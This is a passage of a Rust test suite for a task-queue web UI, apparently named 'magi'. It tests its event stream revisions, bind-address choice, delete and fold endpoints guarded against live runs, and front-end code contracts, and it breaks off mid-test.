12994 while !seen.contains("event: change") {
12995 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
12996 .await
12997 .expect("the stream must speak within five seconds")
12998 .expect("read");
12999 assert!(read > 0, "the server closed the change stream: {seen}");
13000 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
13001 }
13002
13003 assert!(
13004 seen.to_lowercase()
13005 .contains("content-type: text/event-stream"),
13006 "the browser only reconnects automatically for a real SSE stream: {seen}"
13007 );
13008 let data = seen
13009 .lines()
13010 .find_map(|l| l.strip_prefix("data:"))
13011 .expect("a data line");
13012 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
13013 assert!(
13014 payload["queue_rev"].is_u64()
13015 && payload["runs_rev"].is_u64()
13016 && payload["questions_rev"].is_u64()
13017 && payload["talks_rev"].is_u64()
13018 && payload["notifications_rev"].is_u64()
13019 && payload["loop_rev"].is_u64(),
13020 "the client needs one revision per store to know what to refetch, \
13021 and `talks_rev` is the only notification a standing talk gets - a \
13022 phone whose radio slept through a turn learns about it here, as \
13023 does one whose operator started the loop from another device: \
13024 {payload}"
13025 );
13026
13027 let health = f.get("/api/health").await.json();
13034 for key in [
13035 "queue_rev",
13036 "runs_rev",
13037 "questions_rev",
13038 "talks_rev",
13039 "notifications_rev",
13040 "loop_rev",
13041 ] {
13042 assert!(
13043 health[key].is_u64(),
13044 "health is the change stream's fallback and is missing `{key}`: {health}"
13045 );
13046 }
13047 }
13048
13049 #[tokio::test]
13050 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
13051 let f = Fixture::start().await;
13052 let before = f.get("/api/health").await.json()["talks_rev"]
13053 .as_u64()
13054 .expect("talks_rev");
13055
13056 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
13057 std::thread::sleep(Duration::from_millis(10));
13058 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
13059 on_disk.turns.push(crate::talk::Turn {
13060 who: crate::talk::Who::Operator,
13061 body: "a new turn".to_owned(),
13062 at: Timestamp::now(),
13063 attachments: Vec::new(),
13064 usage: None,
13065 });
13066 f.talks().put(&mut on_disk).expect("record a turn");
13067
13068 let after = f.get("/api/health").await.json()["talks_rev"]
13069 .as_u64()
13070 .expect("talks_rev");
13071 assert_ne!(
13072 before, after,
13073 "a phone must be able to notice a talk's reply without polling every store"
13074 );
13075 }
13076
13077 #[test]
13078 fn bind_reads_back_from_the_spelling_the_cli_prints() {
13079 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
13083 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
13084 }
13085 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
13086 assert!("everywhere".parse::<Bind>().is_err());
13087 }
13088
13089 #[test]
13090 fn an_explicit_bind_address_is_taken_verbatim() {
13091 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
13092
13093 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
13094
13095 assert_eq!(addr, asked);
13096 assert!(
13097 warning.is_none(),
13098 "an operator who named an address gets no lecture"
13099 );
13100 }
13101
13102 #[test]
13103 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
13104 let (addr, warning) = resolve_bind(&Bind::Auto);
13105
13106 match addr {
13113 IpAddr::V4(ip) if is_tailnet(&ip) => {
13114 assert!(warning.is_none(), "a tailnet address needs no warning");
13115 }
13116 other => {
13117 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
13118 let warning = warning.expect("a fallback has to explain itself");
13119 assert!(
13120 warning.contains("127.0.0.1") && warning.contains("local-only"),
13121 "the warning says what happened and what it costs: {warning}"
13122 );
13123 }
13124 }
13125 }
13126
13127 #[test]
13128 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
13129 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
13133 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
13134 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
13135 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
13136 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
13137 }
13138
13139 #[test]
13140 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
13141 let ids = vec![
13142 "20260902-140501-aaaa".to_owned(),
13143 "20260902-140502-aabb".to_owned(),
13144 ];
13145
13146 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
13147 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
13148 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
13149
13150 assert_eq!(missing.status, StatusCode::NOT_FOUND);
13151 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
13152 assert_eq!(short, "20260902-140502-aabb");
13153 }
13154 #[tokio::test]
13155 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
13156 let fx = Fixture::start().await;
13162 let id = panel(
13163 &fx,
13164 "<img src=\"shot.png\">",
13165 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
13166 );
13167
13168 let doc = fx
13170 .get(&format!("/api/questions/{id}/panel/index.html"))
13171 .await;
13172 assert_eq!(doc.status, 200, "{}", doc.body);
13173 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
13174
13175 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
13176 assert_eq!(sibling.status, 200, "{}", sibling.body);
13177 assert_eq!(sibling.header("content-type"), Some("image/png"));
13178 assert_eq!(
13179 sibling.header("content-security-policy"),
13180 Some(PANEL_CSP),
13181 "the sibling route must carry the same policy as the asset route"
13182 );
13183
13184 assert_eq!(
13187 fx.head(&format!("/api/questions/{id}/panel")).await.status,
13188 200
13189 );
13190 }
13191
13192 #[test]
13193 fn delta_stamps_cover_add_update_remove_and_noop() {
13194 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
13195 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
13196 let delta = diff_stamps(&before, &after, 42);
13197 assert_eq!(delta.base, 42);
13198 assert_eq!(delta.changed, ["b", "c"]);
13199 assert_eq!(delta.removed, ["a"]);
13200 let same = diff_stamps(&after, &after, 43);
13201 assert!(same.changed.is_empty() && same.removed.is_empty());
13202 assert_ne!(stamps_revision(&before), stamps_revision(&after));
13203 let nanos: Stamps = [("b".into(), (2, 20))].into();
13204 let same_ms: Stamps = [("b".into(), (3, 20))].into();
13205 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
13206 assert_eq!(stamps_revision(&Stamps::new()), 0);
13207 }
13208
13209 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
13210 std::fs::create_dir_all(home.join("runs")).unwrap();
13211 Arc::new(Ui::new(
13212 Queue::at(home.join("queue")),
13213 Questions::at(home.join("questions")),
13214 Talks::at(home.join("talks")),
13215 home.join("runs"),
13216 home.to_owned(),
13217 PathBuf::from("/repo/magi"),
13218 ))
13219 }
13220
13221 #[tokio::test]
13222 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
13223 let home = TempDir::new().unwrap();
13224 let ui = delta_test_ui(home.path());
13225 let mut task = Task::new(
13226 "stream task".into(),
13227 "text".into(),
13228 PathBuf::from("/repo"),
13229 Source::Human,
13230 );
13231 ui.queue.put(&mut task).unwrap();
13232 let response = events(State(ui.clone())).await.into_response();
13233 let mut stream = response.into_body().into_data_stream();
13234 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
13235 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
13236 .await
13237 .unwrap()
13238 .unwrap()
13239 .unwrap();
13240 let text = String::from_utf8(chunk.to_vec()).unwrap();
13241 let data = text
13242 .lines()
13243 .find_map(|line| {
13244 line.strip_prefix("data: ")
13245 .or_else(|| line.strip_prefix("data:"))
13246 })
13247 .unwrap();
13248 serde_json::from_str(data).unwrap()
13249 }
13250 let initial = change(&mut stream).await;
13251 assert!(initial.get("queue_delta").is_none());
13252 task.instruction.push_str(" changed");
13253 ui.queue.put(&mut task).unwrap();
13254 let updated = change(&mut stream).await;
13255 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
13256 assert_eq!(
13257 updated["queue_delta"]["changed"],
13258 serde_json::json!([task.id])
13259 );
13260 assert_eq!(
13261 updated["queue_rev"].as_u64(),
13262 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
13263 );
13264 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
13265 let removed = change(&mut stream).await;
13266 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
13267 assert_eq!(
13268 removed["queue_delta"]["removed"],
13269 serde_json::json!([task.id])
13270 );
13271 }
13272
13273 #[tokio::test]
13274 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
13275 let home = TempDir::new().unwrap();
13276 let ui = delta_test_ui(home.path());
13277 let queue = ui.queue.clone();
13278 let query = |ids: Option<&str>| {
13279 Query(ListQuery {
13280 limit: Some(2),
13281 ids: ids.map(str::to_owned),
13282 })
13283 };
13284 let mut root = Task::new(
13285 "root".into(),
13286 "instruction".into(),
13287 PathBuf::from("/repo"),
13288 Source::Human,
13289 );
13290 queue.put(&mut root).unwrap();
13291 let mut blocked = Task::new(
13292 "blocked".into(),
13293 "instruction".into(),
13294 PathBuf::from("/repo"),
13295 Source::Human,
13296 );
13297 blocked.block(vec![root.id.clone()], None);
13298 queue.put(&mut blocked).unwrap();
13299 let whole =
13300 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
13301 .unwrap();
13302 let subset = serde_json::to_value(
13303 queue_list(State(ui.clone()), query(Some(&root.id)))
13304 .await
13305 .unwrap()
13306 .0,
13307 )
13308 .unwrap();
13309 assert_eq!(whole, subset, "requested root plus its blocked dependent");
13310 let blockers = serde_json::to_value(
13311 queue_list(State(ui.clone()), query(Some("")))
13312 .await
13313 .unwrap()
13314 .0,
13315 )
13316 .unwrap();
13317 assert_eq!(blockers.as_array().unwrap().len(), 1);
13318 assert_eq!(blockers[0]["id"], blocked.id);
13319 assert_eq!(
13320 blockers[0]["waits_on"],
13321 whole
13322 .as_array()
13323 .unwrap()
13324 .iter()
13325 .find(|row| row["id"] == blocked.id)
13326 .unwrap()["waits_on"]
13327 );
13328
13329 for id in [
13330 "20260902-140501-aaaa",
13331 "20260902-140502-bbbb",
13332 "20260902-140503-cccc",
13333 ] {
13334 write_run(&ui.runs, id, RunStatus::Merged);
13335 }
13336 let old = serde_json::to_value(
13337 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
13338 .await
13339 .unwrap()
13340 .0,
13341 )
13342 .unwrap();
13343 assert!(
13344 old.as_array().unwrap().is_empty(),
13345 "older updates must not enter the window"
13346 );
13347 let newest = serde_json::to_value(
13348 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
13349 .await
13350 .unwrap()
13351 .0,
13352 )
13353 .unwrap();
13354 assert_eq!(newest.as_array().unwrap().len(), 1);
13355 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
13356
13357 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
13358 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
13359 let talks = serde_json::to_value(
13360 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
13361 .await
13362 .unwrap()
13363 .0,
13364 )
13365 .unwrap();
13366 assert_eq!(talks.as_array().unwrap().len(), 1);
13367 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
13368 assert_eq!(
13369 serde_json::to_value(
13370 talks_list(State(ui.clone()), query(Some("")))
13371 .await
13372 .unwrap()
13373 .0
13374 )
13375 .unwrap(),
13376 serde_json::json!([])
13377 );
13378 }
13379
13380 #[tokio::test]
13381 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
13382 async fn delta_payload_benchmark() {
13383 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
13384 let ui = delta_test_ui(&home);
13385 let query = |ids: Option<String>| {
13386 Query(ListQuery {
13387 limit: Some(50),
13388 ids,
13389 })
13390 };
13391 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
13392 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
13393 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
13394 let queue_id = queue
13395 .iter()
13396 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
13397 .unwrap_or(&queue[0])
13398 .task
13399 .id
13400 .clone();
13401 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
13402 .await
13403 .unwrap()
13404 .0;
13405 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
13406 .await
13407 .unwrap()
13408 .0;
13409 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
13410 .await
13411 .unwrap()
13412 .0;
13413 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
13414 eprintln!(
13415 "DELTA_PAYLOAD {}",
13416 serde_json::json!({
13417 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
13418 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
13419 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
13420 "counts": [queue.len(), runs.len(), talks.len()],
13421 "blocked": queue_delta.len() - 1,
13422 })
13423 );
13424 }
13425
13426 #[test]
13427 fn runs_revision_moves_when_deleting_an_older_run() {
13428 let temp = TempDir::new().expect("tempdir");
13429 let runs = temp.path().join("runs");
13430 std::fs::create_dir_all(&runs).expect("create runs dir");
13431
13432 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
13433
13434 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
13435 std::thread::sleep(Duration::from_millis(10));
13436 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
13437
13438 let rev_before = runs_revision(&runs);
13439 assert!(rev_before > 0);
13440
13441 let old_dir = runs.join("20260901-100000-old1");
13442 std::fs::remove_dir_all(&old_dir).expect("remove old run");
13443
13444 let rev_after = runs_revision(&runs);
13445 assert_ne!(
13446 rev_before, rev_after,
13447 "deleting an older run must change the revision so other clients see the deletion"
13448 );
13449 }
13450
13451 fn write_state(runs: &FsPath, state: &RunState) {
13456 let dir = runs.join(&state.id);
13457 std::fs::create_dir_all(&dir).expect("run dir");
13458 std::fs::write(
13459 dir.join("run.json"),
13460 serde_json::to_string_pretty(state).expect("serialize run"),
13461 )
13462 .expect("write run.json");
13463 }
13464
13465 #[test]
13470 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
13471 let temp = TempDir::new().expect("tempdir");
13472 let runs = temp.path().join("runs");
13473 std::fs::create_dir_all(&runs).expect("create runs dir");
13474 let mut state = RunState::new(
13475 PathBuf::from("/repo/magi"),
13476 "main".to_owned(),
13477 "0123456789abcdef".to_owned(),
13478 "task".to_owned(),
13479 Config::default(),
13480 );
13481 state.id = "20260902-100000-c0de".to_owned();
13482 write_state(&runs, &state);
13483
13484 let rev_idle = runs_revision(&runs);
13485 std::thread::sleep(Duration::from_millis(10));
13486 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
13487 write_state(&runs, &state);
13488 let rev_started = runs_revision(&runs);
13489 assert_ne!(
13490 rev_idle, rev_started,
13491 "a seat starting must move the revision"
13492 );
13493
13494 std::thread::sleep(Duration::from_millis(10));
13495 state.seat_finished("judge-1");
13496 write_state(&runs, &state);
13497 let rev_finished = runs_revision(&runs);
13498 assert_ne!(
13499 rev_started, rev_finished,
13500 "and clearing it again must move the revision a second time"
13501 );
13502 }
13503
13504 #[tokio::test]
13505 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
13506 let fx = Fixture::start().await;
13511 let q = fx.queue();
13512
13513 let mut t = Task::new(
13514 "Task".to_owned(),
13515 "Instruction".to_owned(),
13516 PathBuf::from("/repo"),
13517 Source::Human,
13518 );
13519 t.block(
13520 vec!["20260101-000000-dead".to_owned()],
13521 Some("waiting on Task 1".to_owned()),
13522 );
13523 t.answers.push(crate::queue::AnsweredQuestion {
13524 question: "Which backend?".to_owned(),
13525 answer: "SQLite".to_owned(),
13526 });
13527 q.put(&mut t).expect("put t");
13528
13529 let res = fx.get("/api/queue").await;
13530 assert_eq!(res.status, 200);
13531 let list = res.json();
13532 let view = list
13533 .as_array()
13534 .expect("array")
13535 .iter()
13536 .find(|v| v["id"] == t.id)
13537 .expect("task in list");
13538 assert_eq!(view["status_str"], "blocked");
13539 assert_eq!(
13540 view["blocked_by"],
13541 serde_json::json!(["20260101-000000-dead"])
13542 );
13543 assert_eq!(view["block_reason"], "waiting on Task 1");
13544 assert_eq!(view["answers"][0]["question"], "Which backend?");
13545 assert_eq!(view["answers"][0]["answer"], "SQLite");
13546
13547 let res = fx
13551 .post(&format!("/api/queue/{}/hold", t.short()), None)
13552 .await;
13553 assert_eq!(res.status, 200);
13554 let held = res.json();
13555 assert_eq!(held["status_str"], "held");
13556 assert_eq!(held["blocked_by"], serde_json::json!([]));
13557 assert!(held["block_reason"].is_null());
13558 assert_eq!(held["answers"][0]["answer"], "SQLite");
13559 }
13560
13561 #[tokio::test]
13562 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
13563 let fx = Fixture::start().await;
13564 let q = fx.queue();
13565 let mk = |title: &str| {
13566 Task::new(
13567 title.to_owned(),
13568 "Instruction".to_owned(),
13569 PathBuf::from("/repo"),
13570 Source::Human,
13571 )
13572 };
13573 let mut root = mk("root");
13574 root.hold_manual(Some("waiting".to_owned()));
13575 q.put(&mut root).unwrap();
13576 let mut mid = mk("mid");
13577 mid.block(vec![root.id.clone()], None);
13578 q.put(&mut mid).unwrap();
13579 let mut leaf = mk("leaf");
13580 leaf.block(vec![mid.id.clone()], None);
13581 q.put(&mut leaf).unwrap();
13582
13583 let list = fx.get("/api/queue").await.json();
13584 let find = |id: &str| {
13585 list.as_array()
13586 .unwrap()
13587 .iter()
13588 .find(|v| v["id"] == id)
13589 .unwrap()
13590 .clone()
13591 };
13592 let leaf_view = find(&leaf.id);
13593 assert_eq!(
13594 leaf_view["waits_on"],
13595 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
13596 );
13597 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
13598 assert_eq!(
13599 find(&mid.id)["waits_on"],
13600 serde_json::json!([format!("{} (held)", root.short())])
13601 );
13602 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
13603 }
13604
13605 #[tokio::test]
13606 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
13607 let fx = Fixture::start().await;
13608 let q = fx.queue();
13609
13610 let mut t1 = Task::new(
13612 "Task 1".to_owned(),
13613 "Instruction 1".to_owned(),
13614 PathBuf::from("/repo"),
13615 Source::Human,
13616 );
13617 let run_id = "20260901-000000-r111";
13618 t1.runs.push(run_id.to_owned());
13619 write_run(&fx.runs(), run_id, RunStatus::Merged);
13620 q.put(&mut t1).expect("put t1");
13621
13622 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
13624 assert_eq!(res.status, 204);
13625 assert!(res.body.is_empty(), "204 No Content has no body");
13626 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
13627 assert!(
13628 fx.runs().join(run_id).exists(),
13629 "run directory must not be deleted when its task is deleted"
13630 );
13631
13632 let mut t2 = Task::new(
13634 "Task 2".to_owned(),
13635 "Instruction 2".to_owned(),
13636 PathBuf::from("/repo"),
13637 Source::Human,
13638 );
13639 t2.status = TaskStatus::Running;
13640 q.put(&mut t2).expect("put t2");
13641 let mut beat = crate::daemon::Status::new();
13642 beat.current = vec![crate::daemon::Current {
13643 task: t2.id.clone(),
13644 run: "20260901-000000-r222".to_owned(),
13645 }];
13646 beat.updated_at = jiff::Timestamp::now();
13647 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13648 .expect("publish a heartbeat");
13649 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
13650 assert_eq!(res.status, 409);
13651 assert!(
13652 res.json()["error"]
13653 .as_str()
13654 .unwrap()
13655 .contains("live daemon")
13656 );
13657 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
13658
13659 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
13665 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13666 .expect("leave a stale heartbeat");
13667 let mut t3 = Task::new(
13668 "Task 3".to_owned(),
13669 "Instruction 3".to_owned(),
13670 PathBuf::from("/repo"),
13671 Source::Human,
13672 );
13673 t3.status = TaskStatus::Running;
13674 q.put(&mut t3).expect("put t3");
13675 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
13676 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
13677 assert_eq!(res.status, 204);
13678 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
13679 assert!(
13680 q.claim(&t3.id).is_ok(),
13681 "the stale lock went with it, so the id is claimable again"
13682 );
13683
13684 let res = fx.delete("/api/queue/nonexistent").await;
13686 assert_eq!(res.status, 404);
13687 }
13688
13689 #[tokio::test]
13690 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
13691 let fx = Fixture::start().await;
13692 let runs = fx.runs();
13693
13694 let run_id = "20260901-000000-fold";
13696 let mut state = RunState::new(
13697 PathBuf::from("/repo"),
13698 "main".to_owned(),
13699 "abc".to_owned(),
13700 "instruction".to_owned(),
13701 Config::default(),
13702 );
13703 state.id = run_id.to_owned();
13704 state.status = RunStatus::Merged;
13705 state.candidates.push(crate::run::Candidate {
13706 index: 0,
13707 label: 'A',
13708 agent: "a".to_owned(),
13709 branch: "b".to_owned(),
13710 worktree: PathBuf::from("/w"),
13711 summary: String::new(),
13712 stat: String::new(),
13713 files: 1,
13714 commits: 1,
13715 empty: false,
13716 failed: None,
13717 verified_noop: None,
13718 duration_ms: 0,
13719 folded: true,
13720 });
13721 let dir = runs.join(run_id);
13722 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
13723 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
13724 .expect("write artifact");
13725 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
13726 .expect("write run.json");
13727
13728 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
13730 assert_eq!(res.status, 204);
13731 assert!(res.body.is_empty(), "204 has no body");
13732 assert!(!dir.exists(), "run directory and artifacts must be deleted");
13733
13734 let run_running = "20260901-000000-rung";
13739 write_run(&runs, run_running, RunStatus::Prep);
13740 let mut beat = crate::daemon::Status::new();
13741 beat.current = vec![crate::daemon::Current {
13742 task: "20260901-000000-task".to_owned(),
13743 run: run_running.to_owned(),
13744 }];
13745 beat.updated_at = jiff::Timestamp::now();
13746 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13747 .expect("publish a heartbeat");
13748 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
13749 assert_eq!(res.status, 409);
13750 assert!(
13751 res.json()["error"]
13752 .as_str()
13753 .unwrap()
13754 .contains("live daemon"),
13755 "the refusal must say who is holding it"
13756 );
13757 assert!(
13758 runs.join(run_running).exists(),
13759 "a run in flight keeps its directory"
13760 );
13761
13762 let run_unfolded = "20260901-000000-unfd";
13764 let mut state2 = RunState::new(
13765 PathBuf::from("/repo"),
13766 "main".to_owned(),
13767 "abc".to_owned(),
13768 "instruction".to_owned(),
13769 Config::default(),
13770 );
13771 state2.id = run_unfolded.to_owned();
13772 state2.status = RunStatus::Ready;
13773 state2.candidates.push(crate::run::Candidate {
13774 index: 0,
13775 label: 'A',
13776 agent: "a".to_owned(),
13777 branch: "b".to_owned(),
13778 worktree: PathBuf::from("/w"),
13779 summary: String::new(),
13780 stat: String::new(),
13781 files: 1,
13782 commits: 1,
13783 empty: false,
13784 failed: None,
13785 verified_noop: None,
13786 duration_ms: 0,
13787 folded: false,
13788 });
13789 let dir2 = runs.join(run_unfolded);
13790 std::fs::create_dir_all(&dir2).expect("create dir2");
13791 std::fs::write(
13792 dir2.join("run.json"),
13793 serde_json::to_string(&state2).unwrap(),
13794 )
13795 .expect("write run.json");
13796
13797 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
13798 assert_eq!(res.status, 409);
13799 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
13800 assert!(dir2.exists(), "unfolded run directory is kept");
13801
13802 let res = fx.delete("/api/runs/nonexistent").await;
13804 assert_eq!(res.status, 404);
13805 }
13806
13807 #[test]
13816 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
13817 let start = APP_JS
13818 .find("function renderStats() {")
13819 .expect("renderStats");
13820 let end = start
13821 + APP_JS[start..]
13822 .find("function statsTile(")
13823 .expect("the next top-level function");
13824 let body = &APP_JS[start..end];
13825
13826 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
13827 let gate_end = gate_start
13828 + body[gate_start..]
13829 .find("}\n renderStatsQueue")
13830 .expect("the gate's own closing brace, right before the unconditional call");
13831 let gated = &body[gate_start..gate_end];
13832
13833 assert_eq!(
13834 body.matches("renderStatsQueue(").count(),
13835 1,
13836 "renderStats must call renderStatsQueue exactly once: {body}"
13837 );
13838 assert!(
13839 !gated.contains("renderStatsQueue"),
13840 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
13841 run-derived panels on an empty run history - the queue panel has to render \
13842 regardless: {gated}"
13843 );
13844 }
13845
13846 #[test]
13847 fn web_ui_delete_contract_in_front_end() {
13848 assert!(APP_JS.contains("deleteRun:"));
13850 assert!(APP_JS.contains("deleteTask:"));
13851
13852 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
13854 ..APP_JS.find("function renderRuns").unwrap()];
13855 assert!(!run_cards_slice.to_lowercase().contains("delete"));
13856
13857 assert!(APP_JS.contains("renderRunDelete"));
13859 assert!(APP_JS.contains("runDeleteReason"));
13860 assert!(APP_JS.contains("magi fold"));
13861 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
13862
13863 assert!(APP_JS.contains("cancel.focus"));
13865 assert!(APP_JS.contains("armedRunDelete"));
13866 assert!(APP_JS.contains("renderTaskDeleteBox"));
13867 assert!(APP_JS.contains("armed${cap(key)}"));
13868
13869 assert!(APP_JS.contains("disabled: status === \"running\""));
13871 }
13872
13873 #[test]
13893 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
13894 let build = APP_JS
13895 .find("function createRunCard")
13896 .expect("createRunCard exists");
13897 let update = APP_JS
13898 .find("function updateRunCard")
13899 .expect("updateRunCard exists");
13900 let end = APP_JS
13901 .find("function renderRuns")
13902 .expect("renderRuns exists");
13903
13904 let builder = &APP_JS[build..update];
13906 let open = builder.find("refs = {").expect("createRunCard sets refs");
13907 let literal = &builder[open + "refs = {".len()..];
13908 let close = literal.find('}').expect("the refs literal is closed");
13909 let published: HashSet<&str> = literal[..close]
13910 .split(',')
13911 .filter_map(|entry| entry.split(':').next())
13913 .map(str::trim)
13914 .filter(|name| !name.is_empty())
13915 .collect();
13916 assert!(
13917 published.len() > 5,
13918 "the refs literal did not parse into names: {published:?}"
13919 );
13920
13921 let mut used: Vec<&str> = Vec::new();
13924 let updaters = &APP_JS[update..end];
13925 for (at, _) in updaters.match_indices("r.") {
13926 let before = updaters[..at].chars().next_back();
13929 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
13930 continue;
13931 }
13932 let rest = &updaters[at + 2..];
13933 let len = rest
13934 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
13935 .unwrap_or(rest.len());
13936 if len > 0 {
13937 used.push(&rest[..len]);
13938 }
13939 }
13940 assert!(
13941 used.len() > 5,
13942 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
13943 );
13944
13945 let missing: Vec<&str> = used
13946 .iter()
13947 .copied()
13948 .filter(|name| !published.contains(name))
13949 .collect();
13950 assert!(
13951 missing.is_empty(),
13952 "a run card's updater reaches for {missing:?}, which `createRunCard` \
13953 never put in `refs` - every card will throw and the list will \
13954 render empty under a count line that says otherwise. Published: \
13955 {published:?}"
13956 );
13957 }
13958
13959 #[tokio::test]
13960 async fn folding_from_the_phone_reports_what_it_removed() {
13961 let fx = Fixture::start().await;
13962 let runs = fx.runs();
13963
13964 let id = "20260901-000000-fold";
13968 write_run(&runs, id, RunStatus::Stalled);
13969 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13970 assert_eq!(res.status, 200);
13971 assert_eq!(res.json()["removed_count"], 0);
13972 assert_eq!(res.json()["run"], id);
13973 assert!(
13974 runs.join(id).exists(),
13975 "a fold keeps the run's record; only the worktrees go"
13976 );
13977 }
13978
13979 #[tokio::test]
13980 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
13981 let fx = Fixture::start().await;
13982 let runs = fx.runs();
13983 let wt = fx.home.path().join("wt").join("magi").join("dead");
13984 let id = "20260901-000000-dead";
13985 std::fs::create_dir_all(runs.join(id)).expect("run dir");
13986 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13987 std::fs::create_dir_all(&wt).expect("worktree dir");
13988
13989 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13990 assert_eq!(res.status, 200, "{}", res.body);
13991 assert!(
13992 res.json()["removed_count"].as_u64().unwrap() > 0,
13993 "the worktree this build could not read a state for still went"
13994 );
13995 assert!(
13996 !runs.join(id).exists(),
